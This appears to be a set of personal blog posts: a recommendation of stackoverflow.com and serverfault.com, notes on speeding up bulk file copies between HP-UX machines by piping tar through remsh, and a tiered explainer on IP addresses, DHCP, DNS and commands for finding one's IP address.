OK, first things first, stackoverflow.com. This is a joint venture between Joel Spolsky and Jeff Atwood. It’s a programmer’s question and answer site. Probably the best description I’ve heard is

It’s Expert’s Exchange without the suck.

Anyone can ask a programming-related question, and normally an answer will be posted within a few minutes – that’s how active the user community is. It’s likely that there will be a number of answers for any given question, and the asker can select their ‘best’ answer.

If you register on the site (using OpenID) you will collect ‘reputation’ or ‘karma’ points and ‘medals’ as you use the site. Anyone (above a small threshold of karma) can vote both questions and answers up or down, so in theory the best answer should find its way to the top of the list.

Stackoverflow.com has been around for several months now and is proving to be an invaluable resource. Googling for almost any programming-related question will probably get a result on stackoverflow.com.

Just this week serverfault.com has come out of private beta. This is very similar to stackoverflow.com, except that the focus is server, network and system administration rather than programming. Of course, there is a fair overlap between the two sites in terms of users.

You may also be interested in the weekly podcast by Jeff and Joel, which is always worth a listen.

I can heartily recommend both sites – obviously it depends on your focus as to which (if either) will be useful to you.

Unfortunately most of these data were in small files – the largest probably a megabyte or so.

I ran some speed tests. We had gigabit ethernet connecting the 2 boxes on a little used LAN.

I wrote a small script to start 6 copy processes in parallel and another to periodically measure how much disk space had been used on the target machine.

I found that 6 simultaneous scp commands ran at about 15Mb/s (Megabytes per second). scp has the overhead of encrypting the data stream before it is transferred, so I tried plain old rcp as well. That gave me worse results than scp.

Thinking that the large number of small files was slowing things down I tried using tar to batch up the files. I wrote a tiny script to pipe the output of the tar command across to the target machine directly in to a receiving tar process which unbundled the files.

The tar approach almost doubled the rate of transfer to about 30Mb/s.

Here are the tar commands. Note that you’ll need to enable r-commands by creating .rhosts files in the home directories of each machine (remove these after they copy is complete – they are notorious security problems). Note also that, as usual, HP-UX is awkward – whereas the rest of the world uses ‘rsh’ for the remote-shell command, HP-UX uses ‘remsh’. ‘rsh’ is some kind of restricted shell in HP parlance.

box1> cd source_directory; tar cf - . | remsh box2 "cd target_directory; tar xf - "

The first tar command creates a file called ‘-’, which is a special token meaning ‘standard output’ in this case. The archive created contains all the files in the current directory (.) plus all subdirectories (tar is recursive by default). This archive file is piped into the remsh command which sends it to the box2 machine. On box 2 I first change to the proper receiving directory, then I extract from ‘-’, or ‘standard input’ the incoming files.

I had 6 of these tar commands running simultaneously to ensure the network link was saturated with data, although I suspect that disk access may have been the limiting factor.

First the High Level Overview For Beginners

OK, maybe first we should ask ‘Why do we care?’

IP stands for Internet Protocol. It’s part of the TCP/IP (Transmission Control Protocol / Internet Protocol) network protocol which is used, pretty much, by all computers connected to a network. By network I mean a LAN or Local Area Network used in businesses, or the connection from your computer to your Internet Service Provider (ISP), for example. Even if you use a modem to dial your ISP over a standard phone line, once you’re connected your computer will be using TCP/IP to talk to your ISP’s computers.

To make TCP/IP work, every computer connected to a network must have a unique IP address. IP addresses are usually written as 4 numbers separated by dots, for example, 192.168.0.10. Each of the 4 numbers can be in the range 0 to 255, although 0 and 255 themselves are special values which are not normally used.

Your IP address can be compared to the address of the building where you are now (assuming you’re not reading this on a mobile device outside somewhere). Every building has a unique address, so the post office can deliver letters and parcels to the right destination. Every computer needs a unique address, so that packets of information (like parts of a web page or an email) can be delivered correctly.

More Details For The Interested

For home users, your ISP assigns IP addresses to your computer. If you dial-up, every time you make a connection you are assigned an IP address. When you hang up your connection, that IP address is made available for other callers. If you have a broadband connection then you will have what I’ll call a semi-static IP address. Because your broadband connection is always on, in theory, once you have an IP address you should keep it. In practice, your IP address may change if you power-cycle your cable modem or your ADSL modem.

The system which runs on the ISP’s computers which keeps track of who currently has which IP address is referred to as the Dynamic Host Configuration Protocol, or (more commonly) DHCP. DHCP is normally configured with a pool of IP addresses. When a computer wants to join a network (for example, when you dial up your ISP) it will request a new IP address from the DHCP server. The DHCP server will allocate one of the addresses in the pool and log the details for future reference.
As you can imagine, referring to computers by a sequence of numbers is not a very convenient thing to do (unless you’re a computer), so often as well as an IP address a computer will have a public name. This is the case for most computers connected to the internet. Names are easier for us humans to deal with than IP addresses, and there’s a system in place called DNS (the Domain Name System) which translates IP address to names and vice versa.

This means that rather than referring to 198.63.34.251, I can type www.dr-jan.com into my browser instead – much easier Both methods should work – try typing the IP address directly into a new browser window and you should see a lovely yellow home page

The computer which hosts my web site has a fixed IP address – it will never change, even if the computer is re-booted. This is A Good Thing because otherwise no-one would be able to find my website if it was suddenly using a new IP address. Generally speaking, computers which host websites and other web-based services will have fixed IP addresses, whilst home users and others will have dynamic addresses.

Technical Details For Experts

How you find out what your current IP address is depends on your operating system.

If you are using Windows NT, 2000 or XP, start a command window (Start|Run|cmd or Start|Run|command) and enter the command ‘ipconfig’. ipconfig /all should give you more information.

Windows 95, 98 and probably ME, start a command window as above, but run ‘winipcfg’ instead of ‘ipconfig’ and you should see a handy window appear with all the relevant details shown.

For Linux users, ifconfig is your friend. Unless you’re the root user you may need to specify the full path (normally ‘/sbin/ifconfig’).

For SUN Solaris, ifconfig -a should give you the required details.

HP-UX is awkward, as usual. You’ll need to run ‘lanscan’ to find out what LAN adapters you have, then use ifconfig lan_adapter_name. For example, ifconfig lan0.

Digital Unix uses ifconfig -a.

Footnotes and Disclaimers

I’m not an expert in Windows, so please let me know if you have any updates for the information presented here.

Hopefully my Unix and Linux knowledge is more reliable, although I’m always pleased to receive updates for that too